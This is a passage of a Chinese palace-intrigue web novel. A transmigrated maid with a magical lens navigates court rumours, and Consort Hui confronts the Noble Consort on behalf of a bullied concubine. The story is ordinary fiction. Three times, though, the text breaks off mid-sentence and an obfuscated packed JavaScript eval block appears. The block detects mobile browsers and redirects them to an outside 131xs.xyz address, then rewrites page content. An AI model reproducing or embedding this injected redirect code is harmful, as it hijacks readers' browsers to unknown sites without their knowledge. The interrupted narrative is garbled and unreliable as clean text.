邝叶依言站在原地,趁着四下无人,拿起挂在腰间的琉璃透镜看,上面的字正发着光:【已连续成功收录三个提前出现名场面,获得道具:千人一面。可使人无法记住样貌。】 倒是个适合邝叶身份的道具,这样一来,过后为了拍名场面出现在别的地方时,就不会被人认出来了。 使用方法也很简单:【指尖敲击镜头片一次,可使用3分钟,冷却时间30分钟。】 接邝叶灯笼的御前宫女很快带着个雕花木匣子回来了,到了邝叶跟前,特地打开匣子给她看,里头装的就是那方皇帝要给慧妃的砚台。 邝叶伸手要接过,对方却合上匣子,靠近了她,低声对说道:“姑娘今晚不如留下来过夜罢,这砚台谁送不是送,再差人送去就是了。” 邝叶以为她在开玩笑,皱着眉回绝:“我又不是德庆宫宫女,怎么能留下过夜呢?况且慧妃娘娘和桃儿还在等我。” 对方又上下打量了邝叶好一番,才把匣子交给她,不再挽留。 邝叶告辞,带着匣子走在回程的路上,她都没想明白那御前宫女的表现是为什么,皇帝叫她跟随明明是为了跑腿儿,对方却要她留下过夜再叫其他人送砚,不是多此一举么?金公公也是,为什么非要她打灯笼?难道这是他们这些御前人士霸凌其他宫人的形式? 直到重新跨入潆霞宫,听到扇耳光和桃儿亲切的骂人声。 “再敢乱说,我撕烂你的嘴,记住没有?” 回答桃儿的只是小宫女的嘤嘤哭声,她被打了也只低头站着,不敢直视桃儿。 “怎么了?”邝叶把匣子交给桃儿旁边的杏花,小心地问,试图劝个架。 桃儿活动了一下打人的右手,答:“她说你今夜会晚归,明早后宫会再新封一个妃嫔。” 邝叶懂了。不只是桃儿打人的原因,连御前一行人的奇怪表现她也懂了,她们居然以为皇帝对她有意思…… 真是离谱到家了! 邝叶走到那小宫女面前,冷冷道:“你造黄谣,挨打活该。” 小宫女哭得更厉害了。 桃儿没再理她,叫围观的几个小宫女上来把造谣被掌嘴的小宫女带回房去。 见人都走远了,邝叶拉着桃儿,想去看厨房的安神汤熬得怎么样,桃儿却不走,反将邝叶拉回来,压低声音问:“那你自己怎么想的?” 邝叶:求求你,我很欣赏桃儿你的语言能力,请不要当谜语人…… “就是,”桃儿附在她耳边说:“适才你这一路上,有没有过当嫔妃的念头?” 原来是怕她因为男人背弃冷宫三人组的情谊…… 邝叶连忙摆摆手,“没有,没有,我不喜欢皇上。” 桃儿听到“没有”时脸色还是好的,听到邝叶说“不喜欢”反而脸一皱,不敢置信地问邝叶:“你居然不喜欢皇上?!” 邝叶不知自己说错了什么,怯怯望着桃儿,眨了眨眼。 “那可是天底下最尊贵的男人,轮得到你来说喜不喜欢?!” 邝叶以为自己犯了什么宫廷忌讳,忙保证道:“我只跟你说这一次,我不会到外边去说!” 可桃儿更不高兴了,冷哼一声,别过脸去,半晌,才道:“你跟我说实话,你真的,不喜欢陛下?” “嗯,不……”邝叶的回答突然停住,她忽然想起,她没怎么看过宫斗文,但看过几部热门的宫斗剧,剧里的男主角一般是皇帝,而桃儿,是她所在的这篇宫斗文的原女主! 于是,邝叶反问桃儿:“那你呢?你喜欢陛下吗?” 她听到桃儿倒吸了一口气,拿手帕掩着脸,答非所问地说:“我只要一天是主子的人,就一天不会想这种事……你也不许想!”说完,也不跟邝叶道别,逃也似的走了。 这算什么回答?怎么扯到慧妃身上去了? 邝叶没懂,根据她平时相处观察到的,桃儿从没有流露出任何对皇帝倾慕的迹象……但却也不是没有可能,有时候,差距巨大的身份就足以让女人骗自己“喜欢”上比自己地位高的人了。 邝叶也偏爱强大的人,但她的强弱排序却不是以人类社会的标准,而是以自然生物的标准。 皇帝的强大靠的是这个人力穿凿而成的社会所赋予,他能用一句话让邝叶被打三十板,他一靠近就让慧妃情绪崩溃,他脑子里有个想法就能让皇后陷入“被废”的危机……但这强大并非源于他本人。 在邝叶看来,就算是达到了封建社会权力顶端的皇帝,也就是个男的罢了——在自然界里寿命更短、情绪更不稳定、生理构造更低级的性别。 光性别男这一项,皇帝在生理上就已经是弱者了,只能靠外貌、性格、修养……这些属性来拼一拼,但是,邝叶目前并没有看到对方除了外貌之外的强项。 桃儿跑了,邝叶只能自己去厨房看汤熬好没有。 负责熬汤的宫女说还差一会儿,邝叶便拿个小杌子坐旁边等,就像原主叶儿刚到冷宫,为双双病倒的慧妃和桃儿熬药一样。 等邝叶用托盘把安神汤端到寝殿,桃儿已经在那儿陪在慧妃身边了,慧妃看到邝叶,双眼红肿得跟俩核桃一样的脸上,露出一个不能称之为好看的笑来。 “你有没有被为难?” 邝叶摇头说没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128585|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意瞒下自己被德庆宫宫女要求留下的经历,慧妃已经把她当成皇帝卧底了,再让慧妃知道皇帝身边人把她当妃嫔预备役,怕是要再哭一场,她的眼睛已经够肿了,再哭就肿得看不见了。 “你不用瞒我们,你没有按他想的让我吃下那碗毒羹,怕是被罚了吧?” 慧妃的话让桃儿有些不快,“主子,陛下哪里就非得罚她一个宫女呢?您跟陛下闹别扭才说这样的气话,说多了当心传到别人耳朵里。” “呵,”慧妃笑得像在嘲讽,“这不是记恨皇后为太后侍疾,正挟要废后么?” “主子!”桃儿把本已经端起来的汤碗放下,“您怎么会帮着太后呢?别忘了,咱们进冷宫可都是拜她所赐。陛下再如何,他也是在帮您啊,您现在可是能协理后宫!” “我志不在此,”慧妃自己端起了汤,试了试温度,把那闻着就苦的汤药一饮而尽,“我萧明琇,本就不该来此,我眼盲心瞎,我自不量力。” 桃儿气得说不出话,也可能是压抑住了想说的话,邝叶左看看右看看,想着自己是不是该找个借口溜了,把空间留给这对主仆。 慧妃却先开口:“桃儿,你将碗拿走,今夜换别个值夜罢,你们都好好休息。” 桃儿只好端着空碗,带着邝叶一起告退离开。 金全忠给皇帝送汤时汇报了邝叶离开一事。 这有些出乎皇帝的意料,讶道:“她不留下?” “是。说是要回潆霞宫,回绝得很干脆。” “是欲擒故纵?或是……”皇帝自言自语般说出心中猜测,却不说全。 若这个宫女是太后想安插在他身边的人,那么直接当妃子比当妃子的使女要方便得多了,他给了这么个现成的机会在这儿,她却不抓住,是欲擒故纵,是已然识破,还是她真的与太后无关呢? 不知事实究竟如何,皇帝决定先按下不表:“赏赐她些银钱,让潆霞宫的人继续盯梢。” “是。”金全忠应下,又提出疑虑,“陛下,此人既有嫌疑,任她在慧妃娘娘身边会不会对慧妃娘娘有害?” “慧妃身边不是有同她一起长大的使女么,若一个宫女都能害了她,如此脆弱不堪,那她也不必占着这个位了。”皇帝的回答不见一丝温情,仿佛是个养饲斗鸡的人,慧妃是他的斗鸡,而不是他少年时互许真心之人,赢不了的鸡就该死了,赢不了的人同理。 “是。”金全忠自动退到一边。 皇帝喝口汤,继续批奏折。 太后曾说过他还不够格,批了要出大事,可现在如何?交到他手上,他一点儿不比太后差,只是目前还要韬光养晦,才对外作出一副对政治时局不解的惶恐样子。 总有一天,他会名正言顺,无论是批奏折还是坐龙椅。 16. 名场面十六 桃儿不愧和慧妃一起长大,她说慧妃躺一天就会好,果真在过了一个晚上之后,次日起床的慧妃精神恢复如常,哭肿的眼睛也消肿了。 按理说,慧妃刚解了禁足,该去拜见太后和皇后,但太后要上朝,皇后被禁足,贵妃淑妃和她同品级,年纪却没她大,是以,慧妃谁也不用去拜访,只等归她管辖的尚宫或总管们来拜见,指派一个负责记事的女史给她。 慧妃三年前进宫起,成日里就是和皇帝吟诗作对、风花雪月,从没管过宫务,但她聪明,上手很快,背后又有皇帝撑腰,那些弄权的内官们暂时也不敢轻举妄动,本属于淑妃的那部分权力,就这么平稳交接到了她手上。 内官们走后,潆霞宫来了今日的第一位访客。 “昭容妹妹请起,不必行如此大礼。”慧妃吩咐左右给林昭容赐座上茶。 对方却摇头不愿意起,维持着刚跨入殿内,见到慧妃时的跪姿,听到慧妃给她赐座,单薄的肩膀反而颤抖起来,像马上要支撑不住她的躯体。 慧妃向桃儿使了个眼色,桃儿忙去到昭容跟前,边劝边扶起林昭容:“娘娘,心里有什么苦,跪着说也不是办法啊,外人看见了,可不是要说我们主子故意罚娘娘跪呢,来,奴扶您起来。” 林昭容听了,才愿意起身,她身后的贴身宫女比她反应快,见她有所松动,马上就不跪了,几乎是弹起来,和桃儿一人一边胳膊,将林昭容半扶半架搀了起来。 慧妃到此时才看清了林昭容的脸,脸色苍白,神情憔悴,呆滞发直的眼一对上慧妃投来的目光就涌出泪来。 “慧妃,慧妃娘娘。”林昭容不知怎么挣脱了搀扶她的桃儿和她的贴身宫女,步履不稳地扑将上来,在邝叶拦截的手已经伸出去之际,扑到了慧妃跟前,双手不知所措地,想抓住慧妃的裙子却又不敢,手指屈了屈,最终放下,她竟是换了个地方,跪到了慧妃眼前。 “求娘娘救我!”林昭容没说清楚为何事求助,便大哭起来。 慧妃见她这样,仿佛见了昨天情绪崩溃的自己,一时间竟没有出言劝对方“别哭了”,而只是静静地看着。 邝叶想打破这个局面,然而开口劝人不是她所擅长的,她于是将目光投到了桃儿身上…… 桃儿只好又走过来,语气礼貌却带了些严厉:“昭容娘娘,您再这么哭下去也不是办法,您有再多的委屈,说出来就是了。您求我们主子救你,您不说,她如何救你呢?” 林昭容才抽泣着,将她这几日被贵妃折磨的事断断续续地说。 其实手段都很幼稚,什么故意罚她跪,当着所有宫人的面将她淋湿,给她赐自己宫女吃剩的饭什么的,很羞辱人,却都不很严重,所以就算告状到淑妃处也得不到解决,而皇上,自御花园那日起,她就再也没见过皇上了…… “你没有求过太后么?” 林昭容本来是想来求慧妃给自己一个庇护,毕竟当天御花园那件事,她们潆霞宫也有份,可慧妃却问她有没有求过太后。 求太后有什么用? 贵妃可是她的内侄女,她肯定会偏帮贵妃…… 看来,慧妃是不愿管这件事,想把自己当皮球踢走了……林昭容用力地吸气,拿袖子拭了拭眼泪。想再央求,却听见慧妃“哦”了一声。 “你能来此求我,她使的这些手段,想必已是太后约束过的结果了,”慧妃撑着扶手站起,又弯下腰,亲自将林昭容扶起,“我知道了,我会帮你劝劝贵妃。” 只是劝劝…… 林昭容好不容易止住的眼泪又要从眼眶里滚落出来,慧妃不打算将她算作自己人,但,也好过没人理会。 林昭容强忍住眼泪,连声道谢,在潆霞宫坐了一小会儿,告退离开。 桃儿特地确认林昭容已出了潆霞宫,才对慧妃道:“主子何必管她呢,这样的事宫里多的是,每一个都来求,每一个都管,又不是三头六臂,哪里管的过来?” 她语气里甚至带着一点儿轻蔑:“再说了,像这样软弱,主子就是帮了她这一次,以后她若再遇到这样的事儿,找不到人帮忙,是不是就任人宰割了?” 慧妃看着桃儿,想说什么,最终也没有开口,只是转而叫邝叶:“叶儿,你不是说想学写字么,来,我借你一本字帖。” 邝叶见慧妃叫自己,立马凑到她身边,被她带着走。 桃儿看到她们刻意孤立自己的行为,心里很不是滋味儿,很想负气一跺脚一整天不理她们,可是,凭什么?! 于是桃儿也跟了上去。 到了慧妃的书案前,慧妃特地拿出了自己最喜欢的字帖借给邝叶,上面的字遒劲有力,风格略有些张狂,不是市面上所宣称的适合女子临摹的那种秀气的字帖。 邝叶收下了字帖,道了谢,然后,在慧妃欣慰的目光中,在桃儿投来的怨念注视下,十分突兀地问:“娘娘,为什么要帮林昭容呀?” 桃儿又想拍脑袋了,唉,这个人呐,每次自己想忮忌一下她,都被她直白的愚钝弄得忮忌不起来…… 慧妃被邝叶直白的问题问得笑了,回答道:“因为此事因我而起。” 邝叶不解,于是邝叶歪头。 此事不应该因我而起的吗?就,御花园砸倒皇帝那个事…… “林昭容,是陛下挑中的,我的一个替代。” 就算邝叶前世的生活方式再野人,也知道替身文学这个梗。 这么想想,确实啊,林昭容给她的感觉确实有些像慧妃,而且林昭容还是在去年慧妃进冷宫后不久,从而被册封为美人,更巧的是,慧妃复位当天,皇帝与慧妃有了不愉快,在御花园守了大半个月的林昭容突然接了驾,并被晋封昭容。 邝叶从余光里看到,桃儿的脸上已经出现了与有荣焉的笑,这笑容很熟悉,她在跟邝叶聊八卦时,说到她支持的这对皇室爱侣的甜蜜往事就带着这种笑容。 当事人正相反,被当做“白月光”的慧妃,脸上不见一点儿得意,她说:“她被当成一个替代的物件,我又何尝不是一个旧物件罢了?” “那怎么能一样呢?”桃儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128586|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声打断这物伤其类的氛围,“她算什么?就因为与主子有几分相像,趁虚入了陛下的眼,才得封昭容,如一直当个最末等的女官,每个月俸禄才几个钱?太后最得力的拟诏女官也才和昭容同品级。” “主子先前还教过我们“在其位,谋其事”,她既分走了陛下的宠,就该她替主子分担那些冷言暗箭,凭什么帮她?” 慧妃瞪了桃儿一眼,好一会儿,桃儿知道她什么意思,噘着嘴,不服气地说:“我差人去领些练字的纸。” 邝叶脸朝着桃儿离开的方向看了好一会儿,转回来时,发现慧妃仍在往那边看。 其实桃儿说的没错,的确是在其位谋其事;做的也没错,她全然遵循了慧妃所说的“你是我的宫女,但你最终要效忠的是皇上”。 错在于,慧妃这么教她,自己的心底却不是这样想的。 这对从8、9岁就呆在一起,共同生活了十余年的胜似姐妹的主仆,因这一点儿错位,关系出现了微不可察的裂隙。 后宫没有因为皇后被罚、慧妃复起而有风波,前朝却因太后时隔半月再度临朝而起了不小的震动。 猜测太后此次病休后会顺势还政的皇帝一派开始躁动不安,相信太后再临朝将不再只满足于在珠帘之后的太后一派暗自得意于自己赌对了,两边都不站的中间派惴惴不安了半个月的心反倒定了下来。 一上朝,太后便就盐税新政在地方的推行迟缓问罪几个官员,话里话外,却都是对皇帝执政的这半个月的贬损,全然无视了那面珠帘之外就是皇帝的龙椅。 成王倒是不停为被问罪的官员说话,俨然一个和事佬,与他本人严肃贵气的长相恰好相反。 可大殿内无人不知,成王是头一个“太后党”,官员之间甚至有太后和成王的风月谣言,还传到了民间,被写了好几本话本子出来。更有人猜测,太后之所以没有夺位登基,是因成王反对,而成王反对,则是若太后登基的话,成王便再也不能以“摄政王”的名头继续留在朝堂内。 那边太后在成王配合下,雷厉风行地下令,已然是安排好一切,临了才问皇帝“陛下以为如何?”,这边皇帝心里知晓,不能急于求成,半个月是难以马上改变格局的,万事还待筹谋,便一如先前,像是刚被太后唤回神一般,连连说好。 既然皇帝都说“好”,那便不必再议,太后忙令舍人草拟诏书,而皇帝,说了“好”,就开始眼神放空,好似又在神游…… 见这情形,原本还在太后和皇帝之间摇摆的官员,忙把心里的秤往太后那边拨了拨,皇帝一党则犯嘀咕,原来陛下这半个月来看着还过得去的样子都是装的? 趁皇帝和太后都还未下朝,慧妃决定尽快解决答应林昭容的事,带着邝叶和几个宫女去见贵妃,独把桃儿给留下了。 临走前,邝叶拎起自己挂着的琉璃透镜看,出乎意料,此次没有发布名场面收集任务,也就是说,此次慧妃去劝贵妃不能算作名场面。 也许,这种事发生过很多次,太过平常,所以不算? 17. 名场面十七 若说潆霞宫的家居风格是文人清雅风,那么贵妃的挽翠宫便是贵族高奢风。邝叶跟在慧妃身后半步,甫一步入门内,便能嗅到一股暖香,她分不清什么前中后调,只觉得闻着特别好,也特别贵。 领她们进入的宫女解释:“贵妃娘娘现正在调香熏衣,还慧妃娘娘请稍作等待,奴婢这就通传。” 慧妃点点头,很是客气地对对方说“有劳”。 主仆四个人安安静静站着等了一会儿,未见有人引她们进去,反而跑出来一个小姑娘,约摸十二、三岁,追着一只鸟儿跑,那鸟儿颜色鲜艳,十分好看,翅羽似乎是被剪了,飞不起太高,竟有好几次要被那小姑娘扑到。 那鸟儿慌不择路,向着邝叶扑飞过来,身边的杏花被吓得“哎呦”一声,慧妃和小荷也都急忙躲开,只有邝叶一点儿没躲,双手稳稳抓住了那只鸟儿,一看,是只颜色特多的吸蜜鹦鹉。 邝叶刚把鹦鹉放地上,那小姑娘也追到了跟前来,此时她们才注意到,这小姑娘衣着华丽,不似宫女打扮。 “慧妃娘娘。”小姑娘恭敬地给慧妃见礼,只是行礼仓促,姿态不大好看就是了。 小姑娘弯腰双手捧起鹦鹉,看了徒手捉鸟的邝叶一眼,露出崇拜的眼神,邝叶以笑回应之。 嗐,这有啥,人工养殖的鹦鹉罢了,以前她还被野生的小老虎扑过呢…… “县主今日是何时进宫的,本宫怎么都不知道?”慧妃跟小姑娘客套。 那小姑娘答:“我不日要启程去义母身边,特来辞别陛下和皇外祖母,不巧今日还未散朝,我便先来见过贵妃娘娘。” 太后的两个儿子均夭折,只有一个女儿贤昭长公主在世,如今能称呼太后为外祖母的,也只有公主的义女宁安县主了。 “哦……那本宫预先祝县主一路顺风,也请县主替本宫向长公主道一声好。” “那是自然。”宁安县主说着,突然把手里的鹦鹉对空一抛。 那鹦鹉一侧飞羽被剪,无法振翅飞起,只能狼狈地落到地上,两只翅膀扑腾着以保持平衡,宁安县主故技重施,又追向鹦鹉,鹦鹉怕了她了,疯狂扑腾翅膀跑走…… 邝叶有些看不过眼,皱了皱眉,正想着要不要说点儿什么。 慧妃却替邝叶开口:“怎么这样对这鸟儿?” 宁安县主露出了特属于孩童的笑容,天真又残忍:“我想让它飞起来。” 慧妃跟她解释:“这只鸟一边翅羽已被剪了,飞不起来。再说,这鸟儿自小养在笼中,有专人喂食清扫,就是飞出去了,也会因不会夺食不懂避人而死。” “唉……那也太可怜了。”宁安县主喃喃道。 “是啊,也太可怜了……”慧妃轻轻附和。 去通报的宫女恰好回来,身边跟着一位黝黑壮硕的女子,是县主带来的丫鬟,对慧妃屈膝行礼后便回到县主身边去了。 宫女对县主致歉后,领着慧妃一行去偏殿见贵妃。 进入偏殿,原本温润的香气愈浓,在空气里浮动着,甜腻得几乎能凝成实体,沉甸甸地压在肺叶上,邝叶禁不住要憋气。 “呀,萧姐姐可是稀客。”一道慵懒中带着点儿刺的女声响起。 贵妃站在金丝鸟架旁,孔雀绿的繁复宫装衬得她肤白胜雪,她侧身对着她们,花汁染得鲜红的指甲正小心地为鸟架上的画眉鸟添食水,目光斜斜扫过慧妃,带着毫不掩饰的鄙夷,“冷宫的风水,看来也没那么养人,萧姐姐瞧着,还是那么的……寡淡。” 对于她的嘲讽,慧妃脸上无波无澜,看了满屋子宫女里极为突出的女史一眼,道了声“贵妃妹妹安好”,便也不等贵妃回话,自己寻了客座坐了。 挽翠宫的主子嚣张,宫人却是很恭敬地为慧妃奉上了茶水。 慧妃接过茶,看了看,青玉茶盏中茶汤色正,水汽氤氲,茶香却被殿内浓郁的熏香掩盖,闻不出是什么味儿。 虽然知道不大可能,但邝叶还是低头看了一眼琉璃透镜,上面依然没有名场面收集任务,这杯茶没有危险。 慧妃端着茶好一会儿,不知想到什么,没喝,只把茶盏放到桌子上,杯底与桌面相碰,发出一点闷响,“贵妃妹妹的茶,我可不敢喝。” “怎么,怕本宫给你下毒不成?”贵妃说话带刺,挑破了那层虚伪的友好,“本宫还没蠢到在自己宫里给你下毒,你若死在这儿,本宫还嫌晦气。” 慧妃不置可否,理了理衣袖,就开始说正事:“今早林昭容去我那儿坐了坐,哭得伤心,说起妹妹待她,似乎过于严苛了些。我们同在宫中服侍,还是以和为贵的好。” “呵!”贵妃冷笑,丢掉了添食水的器具,鸟架子被碰得晃了晃,惊得上面的画眉扑棱好几下,“本宫管教一个不知天高地厚的玩意儿,也值得劳动萧姐姐大驾?她算个什么东西!才得了陛下几天青眼,就敢在本宫面前拿乔?给她几分颜色,她还真想开染坊不成?” 女史已经在那儿不停地记了,可贵妃丝毫没有收敛的意思,她眼风如刀,刺向慧妃,“倒是萧姐姐,怎么这样一个人在你面前哭一哭,你便来妹妹这里兴师问罪了呢?难不成姐姐的‘以和为贵’是拉帮结派搞党争?皇后娘娘可还在那儿呢,你再有圣宠,太后不点头,后位也不会轮到你身上,少白费心思了!” 殿内的空气紧绷,针落可闻。侍立两旁的宫女恨不得把头埋进胸口,连女史也抬头惊讶了一下,才继续写。 慧妃静静地听着,等贵妃发泄完,微笑着,启唇说了两个字:“慧娘。” “你再敢说这个字!”贵妃立马从话里带刺儿变成怒不可遏,妆容艳丽的脸夸张地扭曲着,头上步摇的流苏绞在一起。 慧妃动都没动一下,语气平缓地道:“皇后娘娘贤德无双,无人能出其右,我一个刚刚复位的妃子,不过侥幸才能代理宫务,尚且惶恐不安,岂敢有僭越的心思,倒是贵妃妹妹……” 她说到此处顿了顿,看了眼坐在榻上,摇着团扇不停给自己扇风降火的贵妃,又继续道:“林昭容再如何,也是陛下下旨册封,若传出贵妃虐待昭容的闲话,陛下会怎么想,太后又会怎么想?” 她依旧温和,甚至带着点劝解的意味,可贵妃又是一冷哼:“谁敢传本宫的闲话?谁敢传闲话试试!” 女史的笔顿了顿,她呼吸了一下,才又继续下笔记录。 “是啊,”慧妃又笑了,笑容竟然有些讨好的意思,“太后视贵妃妹妹如己出,自然没有人敢传妹妹的闲话,可是,视如己出又不是真的己出……” 邝叶看到贵妃不扇扇子了,手悄悄捏起了拳头,长指甲扎进了手心里,贵妃却好像感觉不到痛一般。 “我方才在殿外遇见了宁安县主,她不日便要启程去边关追随贤昭长公主呢……这孩子养的真好,公主见了,想来也会很庆幸当初把她送回京,让她在太后庇佑下长大。” “一个女将遗孤,一个义女罢了,好什么呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128587|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”贵妃自己执起茶盏,像是要掩饰什么,匆匆喝了一口。 慧妃继续说:“一个收养来的遗孤,太后尚且把她当成亲外孙女对待,当年对公主必然更好罢,毕竟公主才是亲生的,不然也不会力排众议,不再给公主议婚再嫁,而是任由公主留在亡夫驻地戍边了。” 贵妃把茶盏一放,动静有些大,周围更安静了,“你别来试图挑唆我和长公主的关系,她是我表姐,她为国、为母戍边,我代替她进宫陪伴姑母,我们不是亲姐妹,胜似亲姐妹!” “是么?那慧娘妹妹当初为什么没能成为皇后呢?” 此刻,写字声也停了。 邝叶不由张嘴发出一个无声的“啊?”,我的娘诶,太敢说了吧?! “闭嘴!”静默一瞬后,贵妃尖利地叫喊出声,引得殿内宫人全都跪下了。 慧妃却不如她所愿闭嘴,好听的嗓音像一把温柔的刀:“当初封后可是太后一手促成的,陛下也不敢置喙,可妹妹你,自小进宫,陪伴太后多年,怎么也不能封后呢?” 这句话像一根刺,狠狠地扎进了贵妃那块原本就有伤口的心,其实一直以来贵妃自己也是知道的,太后对她并没有像她宣称的那样“胜似亲母女”,事实上,她与太后,连亲姑姪都不是,太后是姚家养女,本来是要嫁给她大伯的,却不想被皇子看上,进了宫,又成了皇后、太后。 人越没有什么,越想表现什么,她明知太后不可能全然包容她,是以她总是表现得嚣张跋扈,又在快要及太后的底线时收手,她拿捏得万分精准,从未失手,因为她永远要仰赖姑母鼻息,永远被姑母一个眼神一句话牵着走…… “闭嘴!”贵妃脸上的妆容被泪水分割,她推开要上前来服侍她的宫女,宽大的袖子一甩,小几上的茶盏被她扫落在地,碎了一地,“滚出去,你给我滚出去!” “我说完话自然会走,我今天可是特地来请求妹妹,怎么的也该让我把请求说完,”慧妃不疾不徐地起身,脸上的笑容骤然收敛,“就请妹妹放过林昭容,有什么冲着我本人来就好了,不必假借她人。况且太后厌我,至少你对付我,太后不会太过生气,可你若再闹出什么事儿来,可就不好说了……” 慧妃带着她的宫女们都走到门口了,又回头补了一刀:“对了,林昭容乃女官出身,我听说,太后可是很看重女官的。” 语毕,不着痕迹地看了角落记录的女史一眼。 殿内,很快只剩下脸色铁青、惊怒交加的贵妃,和一群噤若寒蝉的宫人。 邝叶跟着慧妃离开了挽翠宫,心中的震撼久久不能平息,连出门时宁安县主托着鹦鹉对她挥手她也没回应。 邝叶完全想不到,会是这种发展。 慧妃这个语言能力,真是杀人诛心呐!快不得刚复位那天,贵妃挑衅她,她看贵妃跟看孩子似的。 邝叶甚至有些不甘,琉璃透镜凭什么不把这个列为名场面?就因为这次协商的起因是林昭容,和皇帝无关? 正想着,邝叶突然听见慧妃吸了吸鼻子,低下头,用帕子擦了擦脸,好像是在哭。 “她是太后的笼中之鸟,我也不过是另一个人的笼中之鸟罢了……”慧妃用只有邝叶能听到的声音说,“不,她五岁就被接进宫,她没得选,我是自己非得进笼子……” 邝叶其实不理解慧妃这种时不时兔死狐悲的行为,只觉得她的道德感真强,她的话语刺伤了别人,道德感却刺伤了她自己。 18. 名场面十八 不知是不是太多的名场面挤在同一天提前出现的缘故,之后的日子,琉璃透镜安静得毫无存在感,没有任何宫斗名场面收录任务发布,好似真的成了邝叶腰间的一块配饰,只是上面日渐减少的“剩余寿命”还是给人在心里增加了紧迫感。 “老乡,你这块琉璃片什么来头?怎么总戴在身上?”茵绿这天中午又趁摸鱼来找她,慧妃出于对茵绿身份的忌惮,不能把茵绿赶走,只能尽量远着,是以茵绿敢越来越明目张胆地摸鱼。 茵绿自来熟地拎起邝叶的琉璃透镜看,邝叶有些紧张,上面可正显示着她目前的剩余寿命,可一只手在写字,一只手在压纸,腾不出来,待把笔搁在墨碗上,茵绿已经把举起透镜放在右眼前,在透过它四处看了。 邝叶赶忙拽系绳,把透镜从茵绿手里拽往自己手上。 茵绿倒不生气,只开玩笑:“你还这么年轻,眼睛就不好了?”她看不见透镜上的字,把这块透镜当成放大镜了,幸好她没有因为好奇敲一下透镜。 “我视力很好。”邝叶重新提笔写字。 茵绿故意挤过来,肩膀挨着邝叶的左肩,此时已过立夏,宫人们的衣裳越换越薄,只隔着两层布料传来的茵绿的体温让邝叶有些不舒服,便不着痕迹的往右边挪了挪。 茵绿以为老乡是慊她,怕自己的衣衫被碰脏才躲,便故意也往右挪了挪,就是要跟邝叶挨在一起,边挨着边说:“你这又练字又戴个琉璃镜子,跟个老学究似的,我还以为你们这些贴身侍奉的宫女都戴主子赏赐的宝石美玉呢……” “这就是宝石。”没有机身、取景器、影像传感器、快门和光圈,只剩一个透镜都能实现拍照上传的琉璃片,不是宝石是什么? 邝叶放弃了,随便她挨着吧。 “啊,这是娘娘赏你的?好巧的心思,赏块放大镜,莫非想送你去做女官?” “是我自己的。” 眼看着天又要聊不下去,茵绿忙把话头扯到女官上:“我也想去当女官,给太后拟诏的闻大人多风光啊,宴会上能给学士们评诗呢……可惜我不识几个字……” “不识字就去学,你可以不摸鱼去学习。” 茵绿被这句老乡劝学弄得一时语塞,只能假装没听到,继续自顾自说女官:“我是不敢想像闻大人或者你一样,得贵人赏识一飞冲天,我只盼明年后年能让我选上女官。” 看来,茵绿帮皇帝做事的最终奖赏是脱离低等宫女的身份当女官…… 认为自己猜到了对方动机的邝叶,给出了建议:“下午尹大人来,你可以找她给你推荐几部书,趁摸鱼……” “呀,我该走了!”茵绿不听劝学,跑了。 邝叶继续练字,直到把一碗墨水写完才放下笔,透镜上显示着她的寿命【剩余寿命:152天】。 十四天的冻结期在昨天正式结束,邝叶总觉得今天会发生点什么,但现在午休都快过去了,还是一点儿动静都没有。 透镜好似知道她的想法,在她准备把透镜放下之时,上面的字变化了。 【名场面:福宁殿太后成王之谋,等级:S。23:59:59】 好了。任务来了。 此次收集任务与之前都不同。 福宁宫不像潆霞宫是我方地盘,也不像御花园是开放场所,而邝叶在前两天才跟着慧妃去拜见过太后,只知道福宁宫的大概布局。 从任务字面上可见,这个名场面是太后与王爷的影响到主剧情的密谋,既然是密谋,肯定不会让不信任的人在场,邝叶作为非福宁宫人士,必然难以在场。 外面的天突然阴下来,不一会儿,上方传来水滴砸在瓦片上的声音,是下雨了,雨水顺着瓦檐流下,在门口形成了一道雨帘,有一些雨,则从瓦片缝隙流进来,滴在室内的地砖上。 按理说,这是皇宫里,就算是宫女住的配房也不该这么豆腐渣才对,可她们从冷宫回来之前,潆霞宫的瓦上长了许多杂草,清理杂草过程中造成了瓦片移位,才导致了屋顶漏雨。 这也算不得什么大事,等会子雨停了,跟慧妃说一声,找人来修葺屋顶就好。 邝叶看着地上的一片水渍,若有所思。 次日。 邝叶提前和桃儿请了假,说自己不舒服,要平平整整地躺一天,桃儿以为她是月事来了,也没多问。 然而桃儿一走,邝叶马上弹射起床,一走出配房,立刻轻敲镜头片,给自己开启道具,出门。 一路上见了好些人,她们和她擦肩而过后,总会回头看一眼。 这个人是谁来着?好像见过……她刚才,她长什么样来着? 福宁宫。 